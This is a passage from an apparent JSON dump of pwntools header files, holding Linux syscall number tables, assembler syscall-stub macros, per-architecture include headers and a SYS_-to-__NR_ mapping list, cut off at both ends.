__NR_memfd_create 319\n#define __NR_kexec_file_load 320\n#define __NR_bpf 321\n#define __NR_execveat 322\n#define __NR_userfaultfd 323\n#define __NR_membarrier 324\n#define __NR_mlock2 325\n#define __NR_copy_file_range 326\n#define __NR_preadv2 327\n#define __NR_pwritev2 328\n#define __NR_pkey_mprotect 329\n#define __NR_pkey_alloc 330\n#define __NR_pkey_free 331\n#define __NR_statx 332\n#define __NR_io_pgetevents 333\n#define __NR_rseq 334\n#define __NR_pidfd_send_signal 424\n#define __NR_io_uring_setup 425\n#define __NR_io_uring_enter 426\n#define __NR_io_uring_register 427\n#define __NR_open_tree 428\n#define __NR_move_mount 429\n#define __NR_fsopen 430\n#define __NR_fsconfig 431\n#define __NR_fsmount 432\n#define __NR_fspick 433\n#define __NR_pidfd_open 434\n#define __NR_clone3 435\n#define __NR_openat2 437\n#define __NR_pidfd_getfd 438\n\n#if defined(__PIE__)\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\n.hidden wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\n.hidden sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT;  \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT; \\\n.endif\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\n.hidden sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT; \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT; \\\n.endif\n\n#elif defined(__PIC__)\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT;  \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT; \\\n.endif\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit@PLT; \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall@PLT; \\\n.endif\n\n#else\n\n#define syscall_weak(name,wsym,sym) \\\n.text; \\\n.type wsym,@function; \\\n.weak wsym; \\\nwsym: ; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit; \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall; \\\n.endif\n\n#define syscall(name,sym) \\\n.text; \\\n.type sym,@function; \\\n.global sym; \\\nsym: \\\n.ifge __NR_##name-256 ; \\\n\tmov\t$__NR_##name,%ax; \\\n\tjmp\t__unified_syscall_16bit; \\\n.else ; \\\n\tmov\t$__NR_##name,%al; \\\n\tjmp\t__unified_syscall; \\\n.endif\n#endif\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/diet/x86_64/syscalls32.h",
    "content": "#ifndef _ASM_X86_UNISTD_32_H\n#define _ASM_X86_UNISTD_32_H\n\n/* Created from /usr/include/asm/unistd_32.h with :%s/__NR_/SYS32_/\n\n/*\n * This file contains the system call numbers.\n */\n\n#define SYS32_restart_syscall      0\n#define SYS32_exit\t\t  1\n#define SYS32_fork\t\t  2\n#define SYS32_read\t\t  3\n#define SYS32_write\t\t  4\n#define SYS32_open\t\t  5\n#define SYS32_close\t\t  6\n#define SYS32_waitpid\t\t  7\n#define SYS32_creat\t\t  8\n#define SYS32_link\t\t  9\n#define SYS32_unlink\t\t 10\n#define SYS32_execve\t\t 11\n#define SYS32_chdir\t\t 12\n#define SYS32_time\t\t 13\n#define SYS32_mknod\t\t 14\n#define SYS32_chmod\t\t 15\n#define SYS32_lchown\t\t 16\n#define SYS32_break\t\t 17\n#define SYS32_oldstat\t\t 18\n#define SYS32_lseek\t\t 19\n#define SYS32_getpid\t\t 20\n#define SYS32_mount\t\t 21\n#define SYS32_umount\t\t 22\n#define SYS32_setuid\t\t 23\n#define SYS32_getuid\t\t 24\n#define SYS32_stime\t\t 25\n#define SYS32_ptrace\t\t 26\n#define SYS32_alarm\t\t 27\n#define SYS32_oldfstat\t\t 28\n#define SYS32_pause\t\t 29\n#define SYS32_utime\t\t 30\n#define SYS32_stty\t\t 31\n#define SYS32_gtty\t\t 32\n#define SYS32_access\t\t 33\n#define SYS32_nice\t\t 34\n#define SYS32_ftime\t\t 35\n#define SYS32_sync\t\t 36\n#define SYS32_kill\t\t 37\n#define SYS32_rename\t\t 38\n#define SYS32_mkdir\t\t 39\n#define SYS32_rmdir\t\t 40\n#define SYS32_dup\t\t 41\n#define SYS32_pipe\t\t 42\n#define SYS32_times\t\t 43\n#define SYS32_prof\t\t 44\n#define SYS32_brk\t\t 45\n#define SYS32_setgid\t\t 46\n#define SYS32_getgid\t\t 47\n#define SYS32_signal\t\t 48\n#define SYS32_geteuid\t\t 49\n#define SYS32_getegid\t\t 50\n#define SYS32_acct\t\t 51\n#define SYS32_umount2\t\t 52\n#define SYS32_lock\t\t 53\n#define SYS32_ioctl\t\t 54\n#define SYS32_fcntl\t\t 55\n#define SYS32_mpx\t\t 56\n#define SYS32_setpgid\t\t 57\n#define SYS32_ulimit\t\t 58\n#define SYS32_oldolduname\t 59\n#define SYS32_umask\t\t 60\n#define SYS32_chroot\t\t 61\n#define SYS32_ustat\t\t 62\n#define SYS32_dup2\t\t 63\n#define SYS32_getppid\t\t 64\n#define SYS32_getpgrp\t\t 65\n#define SYS32_setsid\t\t 66\n#define SYS32_sigaction\t\t 67\n#define SYS32_sgetmask\t\t 68\n#define SYS32_ssetmask\t\t 69\n#define SYS32_setreuid\t\t 70\n#define SYS32_setregid\t\t 71\n#define SYS32_sigsuspend\t\t 72\n#define SYS32_sigpending\t\t 73\n#define SYS32_sethostname\t 74\n#define SYS32_setrlimit\t\t 75\n#define SYS32_getrlimit\t\t 76   /* Back compatible 2Gig limited rlimit */\n#define SYS32_getrusage\t\t 77\n#define SYS32_gettimeofday\t 78\n#define SYS32_settimeofday\t 79\n#define SYS32_getgroups\t\t 80\n#define SYS32_setgroups\t\t 81\n#define SYS32_select\t\t 82\n#define SYS32_symlink\t\t 83\n#define SYS32_oldlstat\t\t 84\n#define SYS32_readlink\t\t 85\n#define SYS32_uselib\t\t 86\n#define SYS32_swapon\t\t 87\n#define SYS32_reboot\t\t 88\n#define SYS32_readdir\t\t 89\n#define SYS32_mmap\t\t 90\n#define SYS32_munmap\t\t 91\n#define SYS32_truncate\t\t 92\n#define SYS32_ftruncate\t\t 93\n#define SYS32_fchmod\t\t 94\n#define SYS32_fchown\t\t 95\n#define SYS32_getpriority\t 96\n#define SYS32_setpriority\t 97\n#define SYS32_profil\t\t 98\n#define SYS32_statfs\t\t 99\n#define SYS32_fstatfs\t\t100\n#define SYS32_ioperm\t\t101\n#define SYS32_socketcall\t\t102\n#define SYS32_syslog\t\t103\n#define SYS32_setitimer\t\t104\n#define SYS32_getitimer\t\t105\n#define SYS32_stat\t\t106\n#define SYS32_lstat\t\t107\n#define SYS32_fstat\t\t108\n#define SYS32_olduname\t\t109\n#define SYS32_iopl\t\t110\n#define SYS32_vhangup\t\t111\n#define SYS32_idle\t\t112\n#define SYS32_vm86old\t\t113\n#define SYS32_wait4\t\t114\n#define SYS32_swapoff\t\t115\n#define SYS32_sysinfo\t\t116\n#define SYS32_ipc\t\t117\n#define SYS32_fsync\t\t118\n#define SYS32_sigreturn\t\t119\n#define SYS32_clone\t\t120\n#define SYS32_setdomainname\t121\n#define SYS32_uname\t\t122\n#define SYS32_modify_ldt\t\t123\n#define SYS32_adjtimex\t\t124\n#define SYS32_mprotect\t\t125\n#define SYS32_sigprocmask\t126\n#define SYS32_create_module\t127\n#define SYS32_init_module\t128\n#define SYS32_delete_module\t129\n#define SYS32_get_kernel_syms\t130\n#define SYS32_quotactl\t\t131\n#define SYS32_getpgid\t\t132\n#define SYS32_fchdir\t\t133\n#define SYS32_bdflush\t\t134\n#define SYS32_sysfs\t\t135\n#define SYS32_personality\t136\n#define SYS32_afs_syscall\t137 /* Syscall for Andrew File System */\n#define SYS32_setfsuid\t\t138\n#define SYS32_setfsgid\t\t139\n#define SYS32__llseek\t\t140\n#define SYS32_getdents\t\t141\n#define SYS32__newselect\t\t142\n#define SYS32_flock\t\t143\n#define SYS32_msync\t\t144\n#define SYS32_readv\t\t145\n#define SYS32_writev\t\t146\n#define SYS32_getsid\t\t147\n#define SYS32_fdatasync\t\t148\n#define SYS32__sysctl\t\t149\n#define SYS32_mlock\t\t150\n#define SYS32_munlock\t\t151\n#define SYS32_mlockall\t\t152\n#define SYS32_munlockall\t\t153\n#define SYS32_sched_setparam\t\t154\n#define SYS32_sched_getparam\t\t155\n#define SYS32_sched_setscheduler\t\t156\n#define SYS32_sched_getscheduler\t\t157\n#define SYS32_sched_yield\t\t158\n#define SYS32_sched_get_priority_max\t159\n#define SYS32_sched_get_priority_min\t160\n#define SYS32_sched_rr_get_interval\t161\n#define SYS32_nanosleep\t\t162\n#define SYS32_mremap\t\t163\n#define SYS32_setresuid\t\t164\n#define SYS32_getresuid\t\t165\n#define SYS32_vm86\t\t166\n#define SYS32_query_module\t167\n#define SYS32_poll\t\t168\n#define SYS32_nfsservctl\t\t169\n#define SYS32_setresgid\t\t170\n#define SYS32_getresgid\t\t171\n#define SYS32_prctl              172\n#define SYS32_rt_sigreturn\t173\n#define SYS32_rt_sigaction\t174\n#define SYS32_rt_sigprocmask\t175\n#define SYS32_rt_sigpending\t176\n#define SYS32_rt_sigtimedwait\t177\n#define SYS32_rt_sigqueueinfo\t178\n#define SYS32_rt_sigsuspend\t179\n#define SYS32_pread64\t\t180\n#define SYS32_pwrite64\t\t181\n#define SYS32_chown\t\t182\n#define SYS32_getcwd\t\t183\n#define SYS32_capget\t\t184\n#define SYS32_capset\t\t185\n#define SYS32_sigaltstack\t186\n#define SYS32_sendfile\t\t187\n#define SYS32_getpmsg\t\t188\t/* some people actually want streams */\n#define SYS32_putpmsg\t\t189\t/* some people actually want streams */\n#define SYS32_vfork\t\t190\n#define SYS32_ugetrlimit\t\t191\t/* SuS compliant getrlimit */\n#define SYS32_mmap2\t\t192\n#define SYS32_truncate64\t\t193\n#define SYS32_ftruncate64\t194\n#define SYS32_stat64\t\t195\n#define SYS32_lstat64\t\t196\n#define SYS32_fstat64\t\t197\n#define SYS32_lchown32\t\t198\n#define SYS32_getuid32\t\t199\n#define SYS32_getgid32\t\t200\n#define SYS32_geteuid32\t\t201\n#define SYS32_getegid32\t\t202\n#define SYS32_setreuid32\t\t203\n#define SYS32_setregid32\t\t204\n#define SYS32_getgroups32\t205\n#define SYS32_setgroups32\t206\n#define SYS32_fchown32\t\t207\n#define SYS32_setresuid32\t208\n#define SYS32_getresuid32\t209\n#define SYS32_setresgid32\t210\n#define SYS32_getresgid32\t211\n#define SYS32_chown32\t\t212\n#define SYS32_setuid32\t\t213\n#define SYS32_setgid32\t\t214\n#define SYS32_setfsuid32\t\t215\n#define SYS32_setfsgid32\t\t216\n#define SYS32_pivot_root\t\t217\n#define SYS32_mincore\t\t218\n#define SYS32_madvise\t\t219\n#define SYS32_madvise1\t\t219\t/* delete when C lib stub is removed */\n#define SYS32_getdents64\t\t220\n#define SYS32_fcntl64\t\t221\n/* 223 is unused */\n#define SYS32_gettid\t\t224\n#define SYS32_readahead\t\t225\n#define SYS32_setxattr\t\t226\n#define SYS32_lsetxattr\t\t227\n#define SYS32_fsetxattr\t\t228\n#define SYS32_getxattr\t\t229\n#define SYS32_lgetxattr\t\t230\n#define SYS32_fgetxattr\t\t231\n#define SYS32_listxattr\t\t232\n#define SYS32_llistxattr\t\t233\n#define SYS32_flistxattr\t\t234\n#define SYS32_removexattr\t235\n#define SYS32_lremovexattr\t236\n#define SYS32_fremovexattr\t237\n#define SYS32_tkill\t\t238\n#define SYS32_sendfile64\t\t239\n#define SYS32_futex\t\t240\n#define SYS32_sched_setaffinity\t241\n#define SYS32_sched_getaffinity\t242\n#define SYS32_set_thread_area\t243\n#define SYS32_get_thread_area\t244\n#define SYS32_io_setup\t\t245\n#define SYS32_io_destroy\t\t246\n#define SYS32_io_getevents\t247\n#define SYS32_io_submit\t\t248\n#define SYS32_io_cancel\t\t249\n#define SYS32_fadvise64\t\t250\n/* 251 is available for reuse (was briefly sys_set_zone_reclaim) */\n#define SYS32_exit_group\t\t252\n#define SYS32_lookup_dcookie\t253\n#define SYS32_epoll_create\t254\n#define SYS32_epoll_ctl\t\t255\n#define SYS32_epoll_wait\t\t256\n#define SYS32_remap_file_pages\t257\n#define SYS32_set_tid_address\t258\n#define SYS32_timer_create\t259\n#define SYS32_timer_settime\t(__NR_timer_create+1)\n#define SYS32_timer_gettime\t(__NR_timer_create+2)\n#define SYS32_timer_getoverrun\t(__NR_timer_create+3)\n#define SYS32_timer_delete\t(__NR_timer_create+4)\n#define SYS32_clock_settime\t(__NR_timer_create+5)\n#define SYS32_clock_gettime\t(__NR_timer_create+6)\n#define SYS32_clock_getres\t(__NR_timer_create+7)\n#define SYS32_clock_nanosleep\t(__NR_timer_create+8)\n#define SYS32_statfs64\t\t268\n#define SYS32_fstatfs64\t\t269\n#define SYS32_tgkill\t\t270\n#define SYS32_utimes\t\t271\n#define SYS32_fadvise64_64\t272\n#define SYS32_vserver\t\t273\n#define SYS32_mbind\t\t274\n#define SYS32_get_mempolicy\t275\n#define SYS32_set_mempolicy\t276\n#define SYS32_mq_open \t\t277\n#define SYS32_mq_unlink\t\t(__NR_mq_open+1)\n#define SYS32_mq_timedsend\t(__NR_mq_open+2)\n#define SYS32_mq_timedreceive\t(__NR_mq_open+3)\n#define SYS32_mq_notify\t\t(__NR_mq_open+4)\n#define SYS32_mq_getsetattr\t(__NR_mq_open+5)\n#define SYS32_kexec_load\t\t283\n#define SYS32_waitid\t\t284\n/* #define SYS32_sys_setaltroot\t285 */\n#define SYS32_add_key\t\t286\n#define SYS32_request_key\t287\n#define SYS32_keyctl\t\t288\n#define SYS32_ioprio_set\t\t289\n#define SYS32_ioprio_get\t\t290\n#define SYS32_inotify_init\t291\n#define SYS32_inotify_add_watch\t292\n#define SYS32_inotify_rm_watch\t293\n#define SYS32_migrate_pages\t294\n#define SYS32_openat\t\t295\n#define SYS32_mkdirat\t\t296\n#define SYS32_mknodat\t\t297\n#define SYS32_fchownat\t\t298\n#define SYS32_futimesat\t\t299\n#define SYS32_fstatat64\t\t300\n#define SYS32_unlinkat\t\t301\n#define SYS32_renameat\t\t302\n#define SYS32_linkat\t\t303\n#define SYS32_symlinkat\t\t304\n#define SYS32_readlinkat\t\t305\n#define SYS32_fchmodat\t\t306\n#define SYS32_faccessat\t\t307\n#define SYS32_pselect6\t\t308\n#define SYS32_ppoll\t\t309\n#define SYS32_unshare\t\t310\n#define SYS32_set_robust_list\t311\n#define SYS32_get_robust_list\t312\n#define SYS32_splice\t\t313\n#define SYS32_sync_file_range\t314\n#define SYS32_tee\t\t315\n#define SYS32_vmsplice\t\t316\n#define SYS32_move_pages\t\t317\n#define SYS32_getcpu\t\t318\n#define SYS32_epoll_pwait\t319\n#define SYS32_utimensat\t\t320\n#define SYS32_signalfd\t\t321\n#define SYS32_timerfd_create\t322\n#define SYS32_eventfd\t\t323\n#define SYS32_fallocate\t\t324\n#define SYS32_timerfd_settime\t325\n#define SYS32_timerfd_gettime\t326\n#define SYS32_signalfd4\t\t327\n#define SYS32_eventfd2\t\t328\n#define SYS32_epoll_create1\t329\n#define SYS32_dup3\t\t330\n#define SYS32_pipe2\t\t331\n#define SYS32_inotify_init1\t332\n#define SYS32_preadv\t\t333\n#define SYS32_pwritev\t\t334\n#define SYS32_rt_tgsigqueueinfo\t335\n#define SYS32_perf_event_open\t336\n#define SYS32_recvmmsg\t\t337\n#define SYS32_fanotify_init\t338\n#define SYS32_fanotify_mark\t339\n#define SYS32_prlimit64\t\t340\n#define SYS32_name_to_handle_at\t341\n#define SYS32_open_by_handle_at  342\n#define SYS32_clock_adjtime\t343\n#define SYS32_syncfs             344\n#define SYS32_sendmmsg\t\t345\n#define SYS32_setns\t\t346\n#define SYS32_process_vm_readv\t347\n#define SYS32_process_vm_writev\t348\n\n#endif /* _ASM_X86_UNISTD_32_H */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/i386.h",
    "content": "#define __i386__\n#include <i386/syscalls.h>\n#include <linuxnet.h>\n#include <common.h>\n\n#define SYS_socketcall_socket SYS_SOCKET\n#define SYS_socketcall_bind SYS_BIND\n#define SYS_socketcall_connect SYS_CONNECT\n#define SYS_socketcall_listen SYS_LISTEN\n#define SYS_socketcall_accept SYS_ACCEPT\n#define SYS_socketcall_getsockname SYS_GETSOCKNAME\n#define SYS_socketcall_getpeername SYS_GETPEERNAME\n#define SYS_socketcall_socketpair SYS_SOCKETPAIR\n#define SYS_socketcall_send SYS_SEND\n#define SYS_socketcall_recv SYS_RECV\n#define SYS_socketcall_sendto SYS_SENDTO\n#define SYS_socketcall_recvfrom SYS_RECVFROM\n#define SYS_socketcall_shutdown SYS_SHUTDOWN\n#define SYS_socketcall_setsockopt SYS_SETSOCKOPT\n#define SYS_socketcall_getsockopt SYS_GETSOCKOPT\n#define SYS_socketcall_sendmsg SYS_SENDMSG\n#define SYS_socketcall_recvmsg SYS_RECVMSG\n\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/ia64.h",
    "content": "#define __ia64__\n#include <ia64/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/loongarch64.h",
    "content": "// https://git.musl-libc.org/cgit/musl/plain/arch/loongarch64/bits/syscall.h.in\n#define __loongarch64\n#include <loongarch64/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/mips.h",
    "content": "#define __mips__\n#include <mips/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/powerpc.h",
    "content": "#define __ppc__\n#include <ppc/syscalls.h>\n#include <common.h>\n\n#define r0 0\n#define r1 1\n#define r2 2\n#define r3 3\n#define r4 4\n#define r5 5\n#define r6 6\n#define r7 7\n#define r8 8\n#define r9 9\n#define r10 10\n#define r11 11\n#define r12 12\n#define r13 13\n#define r14 14\n#define r15 15\n#define r16 16\n#define r17 17\n#define r18 18\n#define r19 19\n#define r20 20\n#define r21 21\n#define r22 22\n#define r23 23\n#define r24 24\n#define r25 25\n#define r26 26\n#define r27 27\n#define r28 28\n#define r29 29\n#define r30 30\n#define r31 31\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/powerpc64.h",
    "content": "#define __ppc64__\n#include <ppc64/syscalls.h>\n#include <common.h>\n\n#define r0 0\n#define r1 1\n#define r2 2\n#define r3 3\n#define r4 4\n#define r5 5\n#define r6 6\n#define r7 7\n#define r8 8\n#define r9 9\n#define r10 10\n#define r11 11\n#define r12 12\n#define r13 13\n#define r14 14\n#define r15 15\n#define r16 16\n#define r17 17\n#define r18 18\n#define r19 19\n#define r20 20\n#define r21 21\n#define r22 22\n#define r23 23\n#define r24 24\n#define r25 25\n#define r26 26\n#define r27 27\n#define r28 28\n#define r29 29\n#define r30 30\n#define r31 31\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/riscv64.h",
    "content": "// https://git.musl-libc.org/cgit/musl/plain/arch/riscv64/bits/syscall.h.in\n#define __riscv64__\n#include <riscv64/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/s390.h",
    "content": "#define __s390__\n#include <s390/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/s390x.h",
    "content": "#define __s390x__\n#include <s390x/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/sparc.h",
    "content": "#define __sparc__\n#include <sparc/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/sparc64.h",
    "content": "#define __sparc64__\n#include <sparc64/syscalls.h>\n#include <common.h>\n"
  },
  {
    "path": "pwnlib/data/includes/generator/linux/syscall_map.h",
    "content": "#define SYS_ __NR_\n#define SYS_accept __NR_accept\n#define SYS_accept4 __NR_accept4\n#define SYS_access __NR_access\n#define SYS_acct __NR_acct\n#define SYS_acl_get __NR_acl_get\n#define SYS_acl_set __NR_acl_set\n#define SYS_add_key __NR_add_key\n#define SYS_adjtimex __NR_adjtimex\n#define SYS_afs_syscall __NR_afs_syscall\n#define SYS_alarm __NR_alarm\n#define SYS_alloc_hugepages __NR_alloc_hugepages\n#define SYS_aplib __NR_aplib\n#define SYS_arch_prctl __NR_arch_prctl\n#define SYS_arch_specific_syscall __NR_arch_specific_syscall\n#define SYS_arm_fadvise64_64 __NR_arm_fadvise64_64\n#define SYS_arm_sync_file_range __NR_arm_sync_file_range\n#define SYS_attrctl __NR_attrctl\n#define SYS_bdflush __NR_bdflush\n#define SYS_bind __NR_bind\n#define SYS_bpf __NR_bpf\n#define SYS_break __NR_break\n#define SYS_brk __NR_brk\n#define SYS_cachectl __NR_cachectl\n#define SYS_cacheflush __NR_cacheflush\n#define SYS_cachestat __NR_cachestat\n#define SYS_capget __NR_capget\n#define SYS_capset __NR_capset\n#define SYS_chdir __NR_chdir\n#define SYS_chmod __NR_chmod\n#define SYS_chown __NR_chown\n#define SYS_chown32 __NR_chown32\n#define SYS_chroot __NR_chroot\n#define SYS_clock_adjtime __NR_clock_adjtime\n#define SYS_clock_adjtime64 __NR_clock_adjtime64\n#define SYS_clock_getres __NR_clock_getres\n#define SYS_clock_getres_time64 __NR_clock_getres_time64\n#define SYS_clock_gettime __NR_clock_gettime\n#define SYS_clock_gettime64 __NR_clock_gettime64\n#define SYS_clock_nanosleep __NR_clock_nanosleep\n#define SYS_clock_nanosleep_time64 __NR_clock_nanosleep_time64\n#define SYS_clock_settime __NR_clock_settime\n#define SYS_clock_settime64 __NR_clock_settime64\n#define SYS_clone __NR_clone\n#define SYS_clone2 __NR_clone2\n#define SYS_clone3 __NR_clone3\n#define SYS_close __NR_close\n#define SYS_close_range __NR_close_range\n#define SYS_connect __NR_connect\n#define SYS_copy_file_range __NR_copy_file_range\n#define SYS_creat __NR_creat\n#define SYS_create_module __NR_create_module\n#define SYS_delete_module __NR_delete_module\n#define SYS_dipc __NR_dipc\n#define SYS_dup __NR_dup\n#define SYS_dup2 __NR_dup2\n#define SYS_dup3 __NR_dup3\n#define SYS_epoll_create __NR_epoll_create\n#define SYS_epoll_create1 __NR_epoll_create1\n#define SYS_epoll_ctl __NR_epoll_ctl\n#define SYS_epoll_ctl_old __NR_epoll_ctl_old\n#define SYS_epoll_pwait __NR_epoll_pwait\n#define SYS_epoll_pwait2 __NR_epoll_pwait2\n#define SYS_epoll_wait __NR_epoll_wait\n#define SYS_epoll_wait_old __NR_epoll_wait_old\n#define SYS_eventfd __NR_eventfd\n#define SYS_eventfd2 __NR_eventfd2\n#define SYS_execv __NR_execv\n#define SYS_execve __NR_execve\n#define SYS_execveat __NR_execveat\n#define SYS_exec_with_loader __NR_exec_with_loader\n#define SYS_exit __NR_exit\n#define SYS_exit_group __NR_exit_group\n#define SYS_faccessat __NR_faccessat\n#define SYS_faccessat2 __NR_faccessat2\n#define SYS_fadvise64 __NR_fadvise64\n#define SYS_fadvise64_64 __NR_fadvise64_64\n#define SYS_fallocate __NR_fallocate\n#define SYS_fanotify_init __NR_fanotify_init\n#define SYS_fanotify_mark __NR_fanotify_mark\n#define SYS_fchdir __NR_fchdir\n#define SYS_fchmod __NR_fchmod\n#define SYS_fchmodat __NR_fchmodat\n#define SYS_fchmodat2 __NR_fchmodat2\n#define SYS_fchown __NR_fchown\n#define SYS_fchown32 __NR_fchown32\n#define SYS_fchownat __NR_fchownat\n#define SYS_fcntl __NR_fcntl\n#define SYS_fcntl64 __NR_fcntl64\n#define SYS_fdatasync __NR_fdatasync\n#define SYS_fgetxattr __NR_fgetxattr\n#define SYS_finit_module __NR_finit_module\n#define SYS_flistxattr __NR_flistxattr\n#define SYS_flock __NR_flock\n#define SYS_fork __NR_fork\n#define SYS_free_hugepages __NR_free_hugepages\n#define SYS_fremovexattr __NR_fremovexattr\n#define SYS_fsconfig __NR_fsconfig\n#define SYS_fsetxattr __NR_fsetxattr\n#define SYS_fsmount __NR_fsmount\n#define SYS_fsopen __NR_fsopen\n#define SYS_fspick __NR_fspick\n#define SYS_fstat __NR_fstat\n#define SYS_fstat64 __NR_fstat64\n#define SYS_fstatat __NR_fstatat\n#define SYS_fstatat64 __NR_fstatat64\n#define SYS_fstatfs __NR_fstatfs\n#define SYS_fstatfs64 __NR_fstatfs64\n#define SYS_fsync __NR_fsync\n#define SYS_ftime __NR_ftime\n#define SYS_ftruncate __NR_ftruncate\n#define SYS_ftruncate64 __NR_ftruncate64\n#define SYS_futex __NR_futex\n#define SYS_futex_requeue __NR_futex_requeue\n#define SYS_futex_time64 __NR_futex_time64\n#define SYS_futex_wait __NR_futex_wait\n#define SYS_futex_waitv __NR_futex_waitv\n#define SYS_futex_wake __NR_futex_wake\n#define SYS_futimesat __NR_futimesat\n#define SYS_getcpu __NR_getcpu\n#define SYS_getcwd __NR_getcwd\n#define SYS_getdents __NR_getdents\n#define SYS_getdents64 __NR_getdents64\n#define SYS_getdirentires __NR_getdirentires\n#define SYS_getdirentries __NR_getdirentries\n#define SYS_getdomainname __NR_getdomainname\n#define SYS_getdtablesize __NR_getdtablesize\n#define SYS_getegid __NR_getegid\n#define SYS_getegid32 __NR_getegid32\n#define SYS_geteuid __NR_geteuid\n#define SYS_geteuid32 __NR_geteuid32\n#define SYS_getgid __NR_getgid\n#define SYS_getgid32 __NR_getgid32\n#define SYS_getgroups __NR_getgroups\n#define SYS_getgroups32 __NR_getgroups32\n#define SYS_gethostname __NR_gethostname\n#define SYS_getitimer __NR_getitimer\n#define SYS_get_kernel_syms __NR_get_kernel_syms\n#define SYS_get_mempolicy __NR_get_mempolicy\n#define SYS_getmsg __NR_getmsg\n#define SYS_getpagesize __NR_getpagesize\n#define SYS_getpeername __NR_getpeername\n#define SYS_getpgid __NR_getpgid\n#define SYS_getpgrp __NR_getpgrp\n#define SYS_getpid __NR_getpid\n#define SYS_getpmsg __NR_getpmsg\n#define SYS_getppid __NR_getppid\n#define SYS_getpriority __NR_getpriority\n#define SYS_getrandom __NR_getrandom\n#define SYS_getresgid __NR_getresgid\n#define SYS_getresgid32 __NR_getresgid32\n#define SYS_getresuid __NR_getresuid\n#define SYS_getresuid32 __NR_getresuid32\n#define SYS_getrlimit __NR_getrlimit\n#define SYS_get_robust_list __NR_get_robust_list\n#define SYS_getrusage __NR_getrusage\n#define SYS_getsid __NR_getsid\n#define SYS_getsockname __NR_getsockname\n#define SYS_getsockopt __NR_getsockopt\n#define SYS_get_thread_area __NR_get_thread_area\n#define SYS_gettid __NR_gettid\n#define SYS_gettimeofday __NR_gettimeofday\n#define SYS_getuid __NR_getuid\n#define SYS_getuid32 __NR_getuid32\n#define SYS_getunwind __NR_getunwind\n#define SYS_getxattr __NR_getxattr\n#define SYS_getxgid __NR_getxgid\n#define SYS_getxpid __NR_getxpid\n#define SYS_getxuid __NR_getxuid\n#define SYS_gtty __NR_gtty\n#define SYS_ia32_arch_prctl __NR_ia32_arch_prctl\n#define SYS_ia32_io_pgetevents __NR_ia32_io_pgetevents\n#define SYS_ia32_rseq __NR_ia32_rseq\n#define SYS_ia32_statx __NR_ia32_statx\n#define SYS_idle __NR_idle\n#define SYS_init_module __NR_init_module\n#define SYS_inotify_add_watch __NR_inotify_add_watch\n#define SYS_inotify_init __NR_inotify_init\n#define SYS_inotify_init1 __NR_inotify_init1\n#define SYS_inotify_rm_watch __NR_inotify_rm_watch\n#define SYS_io_cancel __NR_io_cancel\n#define SYS_ioctl __NR_ioctl\n#define SYS_io_destroy __NR_io_destroy\n#define SYS_io_getevents __NR_io_getevents\n#define SYS_ioperm __NR_ioperm\n#define SYS_io_pgetevents __NR_io_pgetevents\n#define SYS_io_pgetevents_time64 __NR_io_pgetevents_time64\n#define SYS_iopl __NR_iopl\n#define SYS_ioprio_get __NR_ioprio_get\n#define SYS_ioprio_set __NR_ioprio_set\n#define SYS_io_setup __NR_io_setup\n#define SYS_io_submit __NR_io_submit\n#define SYS_io_uring_enter __NR_io_uring_enter\n#define SYS_io_uring_register __NR_io_uring_register\n#define SYS_io_uring_setup __NR_io_uring_setup\n#define SYS_ipc __NR_ipc\n#define SYS_kcmp __NR_kcmp\n#define SYS_kern_features __NR_kern_features\n#define SYS_kexec_file_load __NR_kexec_file_load\n#define SYS_kexec_load __NR_kexec_load\n#define SYS_keyctl __NR_keyctl\n#define SYS_kill __NR_kill\n#define SYS_landlock_add_rule __NR_landlock_add_rule\n#define SYS_landlock_create_ruleset __NR_landlock_create_ruleset\n#define SYS_landlock_restrict_self __NR_landlock_restrict_self\n#define SYS_lchown __NR_lchown\n#define SYS_lchown32 __NR_lchown32\n#define SYS_lgetxattr __NR_lgetxattr\n#define SYS_link __NR_link\n#define SYS_linkat __NR_linkat\n#define SYS_Linux __NR_Linux\n#define SYS_Linux_syscalls __NR_Linux_syscalls\n#define SYS_listen __NR_listen\n#define SYS_listxattr 